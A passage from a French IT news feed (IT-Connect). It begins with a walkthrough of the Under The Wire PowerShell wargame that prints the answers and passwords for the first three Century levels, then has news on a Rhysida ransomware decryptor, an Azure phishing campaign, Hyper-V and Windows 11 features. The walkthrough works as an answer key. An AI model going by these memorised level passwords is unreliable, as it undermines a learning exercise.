<p>A chaque fois,<strong> il y a 15 quêtes à accomplir pour arriver à la fin d'un jeu.</strong> Pour chaque quête, on vous explique quelle information vous devez récupérer, et <strong>cette information sert de mot de passe pour accéder à la quête suivante</strong>. Ce qui signifie que vous devez traiter les quêtes dans l'ordre, et surtout, si vous n'arrivez pas à vous connecter à la quête suivante, c'est probablement que votre réponse est incorrecte.</p>



<h2 class="wp-block-heading">III. Découverte du jeu Century</h2>



<p>Pour accéder à un jeu, comme à celui nommé Century, par exemple, vous devez accéder au Slack d'Under the Wire pour récupérer le nom d'utilisateur et le mot de passe d'accès. Ceci permet d'accéder à la quête 0 pour commencer à jouer !</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="475" src="media/cad455fc.Under-the-Wire-Wargame-Century.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Wargame-Century.jpg" alt="" class="wp-image-74223" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Wargame-Century.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Wargame-Century-550x327.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Wargame-Century-150x89.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Wargame-Century-768x456.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Wargame-Century-50x30.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Pour accéder à l'environnement,<strong> vous devez établir une connexion SSH</strong>. Vous pouvez utiliser PuTTY, un outil équivalent, ou le client SSH intégré à Windows. Pour utiliser le client SSH de Windows, il suffit d'utiliser la syntaxe suivante (en indiquant le nom d'utilisateur récupéré depuis le Slack du projet :</p>



<pre class="wp-block-code"><code>ssh century.underthewire.tech -l utilisateur
# ou 
ssh utilisateur@century.underthewire.tech</code></pre>



<p>Une fois connecté, <strong>vous pouvez accéder à la quête n°1, ou au niveau 1, si vous préférez</strong>. Pour vous roder un peu sur le sujet, nous allons solutionner ensemble les premiers niveaux. </p>



<h3 class="wp-block-heading">A. Century 1</h3>



<p>Pour le premier niveau, la consigne est la suivante : "<em>The password for Century2 is the build version of the instance of PowerShell installed on this system.</em>". Soit en français : "<em>Le mot de passe pour Century2 est le numéro de build de la version PowerShell installée sur ce système.</em>"</p>



<p>Pour obtenir cette information, nous devons donc rechercher comment obtenir le numéro de version en PowerShell. Car oui, ici, tout doit être fait en ligne de commande PowerShell. <strong>Nous pouvons obtenir l'information via la variable prédéfinie $PSVersionTable.</strong></p>



<ul>
<li><a href="https://www.it-connect.fr/quelle-est-ma-version-de-powershell/" target="_blank" rel="noopener" title="">Comment obtenir la version de PowerShell installée sur un PC ?</a></li>
</ul>



<p>Cette commande retourne le résultat suivant :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="412" src="media/0efc974b.Under-the-Wire-Century-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Century-1.png" alt="" class="wp-image-74224" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Century-1.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Century-1-550x283.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Century-1-150x77.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Century-1-768x396.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Century-1-50x26.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>On nous demande le numéro de build, donc la réponse ce sera "<strong>10.0.14393.5582</strong>" (à ne pas confondre avec PSVersion). Cela signifie que cette valeur va nous servir de mot de passe pour accéder au niveau 2.</p>



<p>Nous pouvons quitter Century 1 :</p>



<pre class="wp-block-code"><code>exit</code></pre>



<h3 class="wp-block-heading">B. Century 2</h3>



<p>Nous devons établir une connexion SSH, sur le même hôte, mais cette fois-ci avec le nom d'utilisateur "century2". Le mot de passe correspond à la réponse du niveau précédent, à savoir "<strong>10.0.14393.5582</strong>".</p>



<pre class="wp-block-code"><code>ssh century.underthewire.tech -l century2</code></pre>



<p>Voilà qui est fait !</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="160" src="media/974f92f2.Under-the-Wire-Century-2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Century-2.png" alt="" class="wp-image-74226" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Century-2.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Century-2-550x110.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Century-2-150x30.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Century-2-768x154.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Century-2-50x10.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Prenons connaissance de l'énoncé du niveau 2 : "<em>The password for Century3 is the name of the built-in cmdlet that performs the wget like function within PowerShell PLUS the name of the file on the desktop.</em>". Ce qui nous donne en français : "<em>Le mot de passe pour Century3 est le nom du cmdlet intégré qui exécute la fonction wget dans PowerShell PLUS le nom du fichier présent sur le Bureau.</em>"</p>



<p>Ce qui signifie que nous devons collecter 2 informations pour constituer le mot de passe.</p>



<ul>
<li>Le prompt est déjà positionné sur le Bureau, donc il suffit de lister le contenu du répertoire actuel afin d'obtenir le nom du fichier : "<strong>443</strong>"</li>
</ul>



<pre class="wp-block-code"><code>Get-ChildItem</code></pre>



<ul>
<li>En ce qui concerne le nom de la commande qui sert à effectuer l'équivalent d'un "wget" en PowerShell, il s'agit du cmdlet "<strong>Invoke-WebRequest</strong>". Nous pouvons le vérifier car il y a un alias pour wget.</li>
</ul>



<pre class="wp-block-code"><code>Get-Alias wget</code></pre>



<p>Voici en image :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="500" src="media/4ac5338e.Under-the-Wire-Century-2-Solution.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Century-2-Solution.png" alt="" class="wp-image-74227" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Century-2-Solution.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Century-2-Solution-550x344.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Century-2-Solution-150x94.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Century-2-Solution-768x480.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Century-2-Solution-50x31.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Ainsi, la réponse au niveau 2 est : "<strong>invoke-webrequest443</strong>" (sans les majuscules, sinon ça ne fonctionne pas pour se connecter à Century 3).</p>



<h3 class="wp-block-heading">C. Century 3</h3>



<p>Nous allons pouvoir nous connecter à Century 3, toujours sur le même principe :</p>



<pre class="wp-block-code"><code>ssh century.underthewire.tech -l century3</code></pre>



<p>Cette fois-ci, voici l'information à récupérer pour accéder au niveau suivant : "<em>The password for Century4 is the number of files on the desktop.</em>". En français : "<em>Le mot de passe pour Century4 est le nombre de fichiers sur le bureau.</em>".</p>



<p><strong>Nous devons compter le nombre de fichiers sur le Bureau de la session</strong>. Il y en a suffisamment pour que ce soit pénible de compter manuellement. Ahah. Tant mieux, car notre objectif est d'utiliser PowerShell ! Nous pouvons obtenir l'information de plusieurs façons, dont celles-ci :</p>



<pre class="wp-block-code"><code>(Get-ChildItem).count
Get-ChildItem | Measure-Object</code></pre>



<p>Nous avons la réponse pour accéder au niveau suivant : "<strong>123</strong>".</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="238" src="media/86b7c622.Under-the-Wire-Century-3.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Century-3.png" alt="" class="wp-image-74229" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Century-3.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Century-3-550x164.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Century-3-150x45.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Century-3-768x228.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Under-the-Wire-Century-3-50x15.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>A vous de jouer pour la suite !</p>



<h2 class="wp-block-heading">IV. Conclusion</h2>



<p>Au total, il y a un peu plus de 70 niveaux à effectuer si vous faites tous les jeux disponibles sur Under the Wire ! C'est assez varié au niveau des informations à rechercher (il y aussi une partie Active Directory / GPO) et le joueur doit faire l'effort de tout faire en PowerShell pour atteindre l'objectif de chaque niveau.</p><p>The post <a href="https://www.it-connect.fr/under-the-wire-un-wargame-pour-apprendre-powershell/">Under The Wire, un wargame pour apprendre PowerShell</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=76143
title: Un outil de déchiffrement est disponible pour le ransomware Rhysida !
uri: Un-outil-de-déchiffrement-est-disponible-pour-le-ransomware-Rhysida
url: https://www.it-connect.fr/un-outil-de-dechiffrement-est-disponible-pour-le-ransomware-rhysida/
content:
<p><strong>Des chercheurs en sécurité sont parvenus à identifier une vulnérabilité dans le fonctionnement du ransomware Rhysida ! Grâce à elle, ils ont pu mettre au point un outil de déchiffrement qui va permettre aux victimes de récupérer leurs données gratuitement !</strong></p>



<h2 class="wp-block-heading">Le ransomware Rhysida</h2>



<p>C'est la première fois qu'un<strong> outil de déchiffrement </strong>est disponible pour le <strong>ransomware Rhysida</strong>. D'ailleurs, il est plutôt récent puisqu'<strong>il a été repéré pour la première fois en mai 2023</strong>. Ce gang de ransomware applique le principe de la double extorsion, comme beaucoup d'autres gangs, afin de mettre un maximum de pression sur les victimes. </p>



<p>En novembre 2023, aux Etats-Unis, ce gang de ransomware qualifié d'opportuniste, avait fait l'objet d'<strong>une alerte de sécurité émise conjointement par le FBI et la CISA</strong>.</p>



<h2 class="wp-block-heading">Une vulnérabilité dans le processus de chiffrement</h2>



<p>La semaine dernière, un outil de déchiffrement pour le ransomware Rhysida a été publié par un groupe de chercheurs de l'université Kookmin, située en Corée du Sud, en collaboration avec la KISA, à savoir l'agence coréenne spécialisée dans Internet et la sécurité.</p>



<p>Pour parvenir à mettre au point cet outil, les chercheurs en sécurité ont découvert <strong>une vulnérabilité dans le schéma de chiffrement du ransomware</strong>, et ils ont pu restaurer l'état du générateur de nombres pseudo-aléatoires cryptographiquement sécurisé (CSPRNG) pour obtenir une clé de déchiffrement. </p>



<p>En fait, ils expliquent que ce ransomware effectue un chiffrement partiel des données, comme d'autres ransomwares, et il s'appuie à un moment donné sur l'heure du système pour obtenir une valeur afin de générer la clé de chiffrement. Cette valeur n'est pas suffisamment sécurisée (entropie trop faible) et elle est prédictible, notamment en identifiant l'heure de l'infection.</p>



<p>Les chercheurs ont mis au point un outil capable de tester plusieurs valeurs. Une fois la bonne valeur trouvée, tous les nombres aléatoires utilisés par le ransomware pour chiffrer les données peuvent être prédits, ce qui permet de restaurer les données sans réellement avoir connaissance de la clé privée. Ainsi, l'opération de chiffrement est inversée.</p>



<p>La bonne nouvelle, c'est qu'il y a un <strong>outil de déchiffrement prêt à l'emploi, pour Windows</strong>, qui est <a href="https://seed.kisa.or.kr/kisa/Board/166/detailView.do" target="_blank" rel="noopener nofollow" title="">disponible sur le site de l'agence KISA</a>. En principe, vous pouvez utiliser cet outil pour restaurer les données chiffrées par le ransomware Rhysida.</p>



<p><strong>Il s'avère que cette vulnérabilité dans le processus de chiffrement du ransomware Rhysida était déjà connue depuis plusieurs mois par des entreprises spécialisées dans la <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/securite-informatique/" target="_blank" rel="noopener" title="cybersécurité" data-wpil-keyword-link="linked">cybersécurité</a>, ainsi que des entités gouvernementales, comme le CERT-FR</strong>. Elle a pu être utilisée en privé, sans qu'elle soit divulguée comme c'est le cas ici. Ainsi, de nombreuses entreprises n'ont jamais eu à payer la rançon pour récupérer leurs données. Un joli coup !</p>



<p><a href="https://www.bleepingcomputer.com/news/security/free-rhysida-ransomware-decryptor-for-windows-exploits-rng-flaw/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/un-outil-de-dechiffrement-est-disponible-pour-le-ransomware-rhysida/">Un outil de déchiffrement est disponible pour le ransomware Rhysida !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=76140
title: Une campagne de phishing cible les comptes Azure des cadres et des dirigeants d’entreprises
uri: Une-campagne-de-phishing-cible-les-comptes-Azure-des-cadres-et-des-dir
url:
https://www.it-connect.fr/une-campagne-de-phishing-cible-les-comptes-azure-des-cadres-et-des-dirigeants-dentreprises/

content:
<p><strong>Fin novembre 2023, une campagne de phishing à l'origine de la compromission de centaines de comptes Microsoft Azure, a été détectée. La cible privilégiée de cette campagne malveillante : les cadres et les dirigeants d'entreprises. Faisons le point sur cette menace.</strong></p>



<p>Cette nouvelle campagne malveillante a été repérée par les chercheurs en sécurité de chez Proofpoint à la fin du mois de novembre 2023, et elle est toujours active à ce jour. Dans<a href="https://www.proofpoint.com/us/blog/cloud-security/community-alert-ongoing-malicious-campaign-impacting-azure-cloud-environments" target="_blank" rel="noopener nofollow" title=""> le rapport</a> mis en ligne par Proofpoint, nous pouvons lire : "<em>Au cours des dernières semaines, les chercheurs de Proofpoint ont surveillé une campagne de prise de contrôle de comptes cloud en cours qui a impacté des dizaines d'environnements Microsoft Azure et compromis des centaines de comptes d'utilisateurs, y compris des cadres supérieurs.</em>"</p>



<p>Pour les cybercriminels,<strong> les cadres et les dirigeants d'entreprises sont une cible privilégiée</strong>. D'une part, car ils sont susceptibles d'avoir accès à des informations sensibles, et d'autre part car ils ont suffisamment de pouvoir pour autoriser des transactions financières : idéal pour détourner de l'argent. Le fait de compromettre ce type de compte ouvre des portes, que ce soit auprès des salariés de l'entreprise ou de partenaires. Proofpoint indique qu'il y a <strong>des directeurs de ventes, des responsables de comptes, des directeurs financiers et des présidents (CEO) parmi les victimes de cette campagne.</strong></p>



<p>Dans le cas de cette campagne de phishing,<strong> la méthode est assez classique</strong> : une pièce jointe qui, lorsqu'on l'ouvre, contient un bouton "<strong>Voir le document</strong>", qui renvoie l'utilisateur vers une page web malveillante s'il clique sur le lien. Proofpoint a pu faire un lien entre les cybercriminels et les actions effectuées sur les comptes compromis, en identifiant le user-agent suivant :</p>



<pre class="wp-block-code"><code>Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36</code></pre>



<p>En effet, cette chaine de user-agent a été associée à diverses activités malveillantes lors de la phase de post-compromission, notamment pour créer des règles dans les boites aux lettres, manipuler le MFA (enregistrement d'un nouveau numéro, par exemple) et effectuer de l'envoi d'e-mails malveillants en interne et en externe.</p>



<p>Enfin, le rapport de Proofpoint se termine par un ensemble de recommandations à destination des organisations afin de mieux protéger les environnements <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/autres/tutos-azure/" target="_blank" rel="noopener" title="Azure" data-wpil-keyword-link="linked">Azure</a> et Microsoft 365 de ce type d'attaque. Par exemple, Proofpoint recommande d'obliger les utilisateurs compromis et ciblés à changer immédiatement leurs mots de passe dès qu'un événement suspect est détecté, et d'obliger tous les utilisateurs à changer périodiquement leur mot de passe.</p>



<p><a href="https://www.bleepingcomputer.com/news/security/ongoing-microsoft-azure-account-hijacking-campaign-targets-executives/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/une-campagne-de-phishing-cible-les-comptes-azure-des-cadres-et-des-dirigeants-dentreprises/">Une campagne de phishing cible les comptes Azure des cadres et des dirigeants d’entreprises</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=76147
title: Hyper-V : un hyperviseur de type 1 ou type 2 ?
uri: Hyper-V-un-hyperviseur-de-type-1-ou-type-2
url: https://www.it-connect.fr/hyper-v-un-hyperviseur-de-type-1-ou-type-2/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Hyper-V est l’hyperviseur de type 1 de Microsoft introduit en 2008 en tant que composant installable ou « rôle » sous Windows Server 2008. Plusieurs discussions en ligne suggèrent que Hyper-V serait plutôt un hyperviseur de type 2, c’est-à-dire installé en tant qu’application sur le système d’exploitation, mais il s'agit bien d'un hyperviseur de type 1.</strong></p>



<p>Le présent article propose de faire la lumière sur cette confusion en montrant pourquoi <strong>Hyper-V</strong> est bien un <strong>hyperviseur de type&nbsp;1</strong>. Avant de poursuivre votre lecture, si vous souhaitez plus de détails sur les types d’hyperviseurs, consultez l’article suivant&nbsp;:</p>



<ul>
<li><a href="https://www.it-connect.fr/les-types-dhyperviseurs/">Les types d’hyperviseurs : hyperviseur de type 1 et de type 2</a></li>
</ul>



<h2 class="wp-block-heading">II. Un « rôle » sous Windows Server</h2>



<p>Étant donné qu’un hyperviseur de type 1 (<em>bare metal</em>) s’installe directement sur le matériel comme c’est le cas notamment de VMware ESXi, Nutanix AHV ou Proxmox VE, le fait que <strong>Hyper-V</strong> nécessite d’être activé en tant que rôle à partir de l’assistant d’ajout de <strong>« Rôles et fonctionnalités »</strong> sous Windows Server suggère qu’il pourrait s’agir d’un hyperviseur de type 2 comme VMware Workstation ou Oracle VM VirtualBox.</p>



<p>La capture d’écran suivante montre <strong>le « rôle » Hyper-V sous Windows Server&nbsp;2022</strong>&nbsp;qui s’installe à partir de l’OS lui-même&nbsp;:</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="786" height="560" src="media/c7111e2b.image1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image1.png" alt="" class="wp-image-76150" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image1.png 786w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image1-550x392.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image1-150x107.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image1-768x547.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image1-50x36.png 50w" sizes="(max-width: 786px) 100vw, 786px" /></figure>



<p>Sans Hyper-V, Windows Server est un système d’exploitation conventionnel, c’est-à-dire un ensemble de logiciels (noyau) qui permet d’exécuter des programmes et de traiter les demandes d’utilisation des ressources d’un ordinateur.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="731" height="281" src="media/90bd87cd.image2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image2.png" alt="" class="wp-image-76151" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image2.png 731w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image2-550x211.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image2-150x58.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image2-50x19.png 50w" sizes="(max-width: 731px) 100vw, 731px" /></figure>



<p>Lorsque vous activez le rôle Hyper-V, les binaires de l’hyperviseur se déploient sur votre instance de Windows Server et, une fois complété, le système doit être redémarré. C’est à ce moment-là que la magie opère…</p>



<h2 class="wp-block-heading">III. Un hyperviseur de type&nbsp;1 et une partition parent</h2>



<p>Après le redémarrage, une transformation s’opère&nbsp;: le système d'exploitation (Windows Server) est déplacé dans une machine virtuelle spéciale nommée <strong>« partition parent »</strong> (<em>parent partition</em>) qui s’exécute maintenant sur Hyper-V qui s’est positionné en tant qu’<strong>hyperviseur de type&nbsp;1</strong> sur le matériel.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="721" height="501" src="media/6273afc9.image3.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image3.png" alt="" class="wp-image-76152" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image3.png 721w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image3-550x382.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image3-150x104.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image3-50x35.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image3-392x272.png 392w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image3-130x90.png 130w" sizes="(max-width: 721px) 100vw, 721px" /></figure>



<p>La partition parent (Windows Server) dispose d’un accès direct aux ressources de la machine physique et elle comprend maintenant de <strong>nouvelles applications et processus</strong> (<em>VM Service</em>, <em>WMI Provider</em>, <em>VM Worker Processes</em>, etc.) qui vont lui permettre notamment de gérer et déployer d’autres machines virtuelles. Dans la terminologie <strong>Hyper-V</strong>, les autres VMs qui sont créées subséquemment se nomment <strong>« partitions enfant »</strong> (<em>child partition</em>s).</p>



<figure class="wp-block-image size-full"><img decoding="async" width="721" height="501" src="media/6d17cd70.image4.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image4.png" alt="" class="wp-image-76153" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image4.png 721w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image4-550x382.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image4-150x104.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image4-50x35.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image4-392x272.png 392w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image4-130x90.png 130w" sizes="(max-width: 721px) 100vw, 721px" /></figure>



<p>La partition parent prend en charge l'accès aux ressources matérielles et aux pilotes des périphériques. Quant à l'allocation des ressources, elle se fait via <strong>un bus de communication nommé <em>VMBus</em></strong> qui est présent dans les deux types de partitions.</p>



<p>Le fait d’avoir une partition parent a l’inconvénient principal d’affecter la disponibilité des autres machines virtuelles lors de l’application de mises à jour. En effet, il faut redémarrer la machine parent, ce qui nécessite un redémarrage complet du système. Pour des charges de production dont le service ne peut être interrompu, Microsoft offrait<strong> Hyper-V Server</strong> (le produit a été discontinué en janvier 2024), un hyperviseur de type&nbsp;1 comparable à <strong>VMware ESXi</strong> qui se présente comme un logiciel installable directement sur le matériel. </p>



<p>À titre d'information, le support étendu (<em>extended support</em>) de <strong><a href="https://learn.microsoft.com/fr-fr/lifecycle/products/hyperv-server-2019" target="_blank" rel="noopener nofollow" title="">Hyper-V Server 2019</a></strong>, la dernière version, va se poursuivre jusqu'en janvier 2029.</p>



<h2 class="wp-block-heading">IV. Conclusion</h2>



<p><strong>Hyper-V n'offre pas une gamme aussi complète de fonctionnalités que VMware ESXi, Nutanix AHV ou Proxmox VE, mais il présente l'avantage d'être disponible directement sur Windows Server sans frais additionnels et il est également installable en tant que fonctionnalité supplémentaire sur Windows 10 ou 11.</strong></p>



<p>Il est à noter que le modèle de l’hyperviseur de type&nbsp;1 qui comprend une machine virtuelle principale pour la gestion n’est pas unique à Hyper-V. Les hyperviseurs open source Xen et KVM de même que IBM PowerVM (propriétaire) fonctionnent également selon un principe similaire.</p>



<p>Pour aller plus loin sur <strong>Hyper-V</strong>, n'hésitez pas à consulter les articles suivants :</p>



<ul>
<li><a href="https://www.it-connect.fr/comment-installer-hyper-v-dans-une-vm-hyper-v/" target="_blank" rel="noopener" title="Comment installer Hyper-V dans une VM Hyper-V ?">Comment installer Hyper-V dans une VM Hyper-V ?</a></li>



<li><a href="https://www.it-connect.fr/installer-hyper-v-sur-windows-10-et-creer-sa-premiere-vm/" target="_blank" rel="noopener" title="Installer Hyper-V sur Windows 10 et créer sa première VM">Installer Hyper-V sur Windows 10 et créer sa première VM</a></li>
</ul><p>The post <a href="https://www.it-connect.fr/hyper-v-un-hyperviseur-de-type-1-ou-type-2/">Hyper-V : un hyperviseur de type 1 ou type 2 ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=76175
title: AI Super Resolution : grâce à l’IA, Windows 11 va améliorer la qualité d’image des jeux
uri: AI-Super-Resolution-grâce-à-l-IA-Windows-11-va-améliorer-la-qu
url: https://www.it-connect.fr/ai-super-resolution-windows-11-ameliorer-qualite-image-jeux/
content:
<p><strong>Au sein de Windows 11 24H2, Microsoft envisage d'ajouter encore plus d'intelligence artificielle à son système d'exploitation. Une nouvelle fonctionnalité baptisée AI Super Resolution est en phase de test chez l'éditeur américain. A quoi sert-elle ? Faisons le point !</strong></p>



<p>Dans le courant de l'année 2024, Microsoft va publier la future version majeure de Windows 11, à savoir Windows 11 24H2. Nul doute que cette version va se concentrer sur l'intelligence artificielle, et les derniers travaux de Microsoft vont dans ce sens. En effet, au sein de la dernière version de Windows 11 disponible via le programme Windows Insiders, la firme de Redmond a introduit, discrètement, la fonctionnalité <strong>AI Super Resolution</strong>.</p>



<p>Déjà connue par <strong>les adeptes de jeux vidéos</strong>, cette fonctionnalité a pour objectif de <strong>booster les performances</strong> grâce à l'<em>upscaling</em>. Comment ? Et bien, le joueur peut <strong>adopter une résolution inférieure</strong>, moins exigeante, mais <strong>améliorée visuellement grâce à l'intelligence artificielle</strong>. Ceci a pour conséquence d'avoir un gain de FPS, et donc d'améliorer l'expérience en jeu tout en nécessitant moins de ressources. C'est également un bon moyen d'améliorer la qualité graphique d'anciens jeux.</p>



<p>Actuellement, <strong>certains gamers peuvent déjà profiter de cette fonctionnalité puisqu'elle est proposée par Intel, AMD et NVIDIA</strong>, à condition d'avoir une carte graphique compatible. Plus précisément, ceci fait référence au DLSS 2 de NVIDIA, au FSR 2 d'AMD et au XeSS d'Intel. </p>



<p>Le fait que ce soit intégré dans Windows pourrait permettre d'en profiter au niveau du système, dans son ensemble, et pas uniquement dans les jeux. Nous pensons notamment aux lecteurs multimédia.</p>



<p>Bien que la fonctionnalité AI Super Resolution de Windows 11 soit intéressante sur le papier,<strong> reste à savoir quels seront les prérequis matériel </strong>de cette nouvelle fonctionnalité. Un NPU spécial pourrait être requis. Il est probable qu'une configuration assez musclée soit requise pour permettre à l'IA de faire son travail.</p>



<h2 class="wp-block-heading">Comment activer l'AI Super Resolution ?</h2>



<p>Si vous utilisez la <strong>build 26052 de Windows 11 </strong>à jour et issue du programme Windows Insiders, vous devriez pouvoir trouver cette fonctionnalité à cet emplacement des paramètres du système Windows 11 :</p>



<ul>
<li><strong>Système > Écran > Graphiques > Super-résolution automatique</strong></li>
</ul>



<p>Mais avant cela, vous devez activer la fonctionnalité avec ViveTool, comme l'explique sur X cet utilisateur à l'origine de la trouvaille :</p>



<blockquote class="twitter-tweet"><p lang="en" dir="ltr">Would you like to toy around with Automatic Super Resolution in build 26052 and see if you notice any differences? You can get it to show up by running this command and rebooting:<br><br>vivetool /enable /id:39695921 /variant:3 <a href="https://t.co/6baoIeZcDh">https://t.co/6baoIeZcDh</a> <a href="https://t.co/ui9maas7je">pic.twitter.com/ui9maas7je</a></p>&mdash; Albacore <img src="media/a3ba038c.1f95d.png" data-original-source="https://s.w.org/images/core/emoji/14.0.0/72x72/1f95d.png" alt="🥝" class="wp-smiley" style="height: 1em; max-height: 1em;" /> (@thebookisclosed) <a href="https://twitter.com/thebookisclosed/status/1756694237511303328?ref_src=twsrc%5Etfw">February 11, 2024</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>



<p>Ensuite, rendez-vous à l'endroit mentionné ci-dessus.</p>



<p><a href="https://www.01net.com/actualites/windows-11-utilisera-bientot-lia-pour-ameliorer-la-qualite-de-limage-dans-vos-jeux.html" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/ai-super-resolution-windows-11-ameliorer-qualite-image-jeux/">AI Super Resolution : grâce à l’IA, Windows 11 va améliorer la qualité d’image des jeux</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=76202
title: Broadcom a pris la décision d’arrêter la version gratuite de l’hyperviseur VMware ESXi !
uri: Broadcom-a-pris-la-décision-d-arrêter-la-version-gratuite-de-l-h
url: https://www.it-connect.fr/broadcom-arrete-la-version-gratuite-hyperviseur-vmware-esxi/
content:
<p><strong>Une nouvelle information vient de tomber et nous n'allons pas nous en réjouir : Broadcom vient de mettre fin à la version gratuite de l'hyperviseur VMware ESXi ! Voici ce qu'il faut savoir.</strong></p>



<p>Broadcom continue de faire du ménage et d'opérer des changements importants chez VMware, notamment pour restructurer l'offre commerciale de l'éditeur américain. Il y a quelques semaines, Broadcom a mis <a href="https://www.it-connect.fr/fin-des-licences-perpetuelles-chez-vmware-voici-la-liste-complete-des-produits-concernes/" target="_blank" rel="noopener" title="Fin des licences perpétuelles chez VMware : voici la liste complète des produits concernés !">fin aux licences perpétuelles pour 56 produits VMware</a>, afin de basculer sur un nouveau modèle avec des abonnements.</p>



